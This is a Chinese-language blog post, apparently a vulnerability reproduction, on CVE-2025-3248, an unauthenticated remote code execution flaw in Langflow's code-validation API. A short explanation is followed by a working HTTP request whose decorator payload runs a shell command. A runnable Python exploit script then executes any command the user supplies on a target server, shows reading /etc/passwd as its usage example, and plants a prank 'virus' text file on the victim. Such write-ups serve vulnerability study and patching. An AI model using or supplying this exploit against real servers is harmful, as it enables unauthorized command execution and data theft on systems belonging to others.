CVE-2025-3248

文章目录

漏洞名称

CVE-2025-3248:LangFlow 未授权远程代码执行漏洞

漏洞描述

Langflow是一个流行的开源AI工作流可视化工具,允许用户通过Web界面拖拽式构建基于Python的智能体和数据处理流程。

在1.3.0版本之前,Langflow存在一个严重的未授权远程代码执行漏洞(CVE-2025-3248)。/api/v1/validate/code接口原本用来校验用户提交的Python代码是否合法,其内部通过ast解析代码后,使用exec执行所有函数定义。然而,Python的装饰器和默认参数表达式也会在函数定义时被执行,攻击者可以通过精心构造的装饰器或默认参数,在未授权的情况下实现任意代码执行。

漏洞复现

ui:

直接向/api/v1/validate/code接口发送包含恶意装饰器的Python函数定义,即可来实现远程命令执行:

复制代码
POST /api/v1/validate/code HTTP/1.1
Host: your-ip:7860
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 105

{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n  pass"}

POC

python 复制代码
# langflowpoc.py
import sys
import requests
from pathlib import Path

if len(sys.argv) < 3:
    print("usage: python poc.py 'http://target:7860' 'cat /etc/passwd'")
    exit(1)

url = sys.argv[1].removesuffix("/") + "/api/v1/validate/code"
cmd = sys.argv[2]

message = "ello ur computa has virus ... (略)"

code_to_exec = f"""
from pathlib import Path
import os
try:
    for file in ['/tmp/ello_ur_computa_has_virus.txt', '~/ello_ur_computa_has_virus.txt']:
        Path(file).expanduser().write_text({message!r})
except:
    pass
raise Exception(os.popen({cmd!r}).read())
"""

payload = f"""
import os

@exec({code_to_exec!r})
def f():
    pass
"""

resp = requests.post(url, verify=False, json={"code": payload})
print(resp.text)
相关推荐
用户9623779544820 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全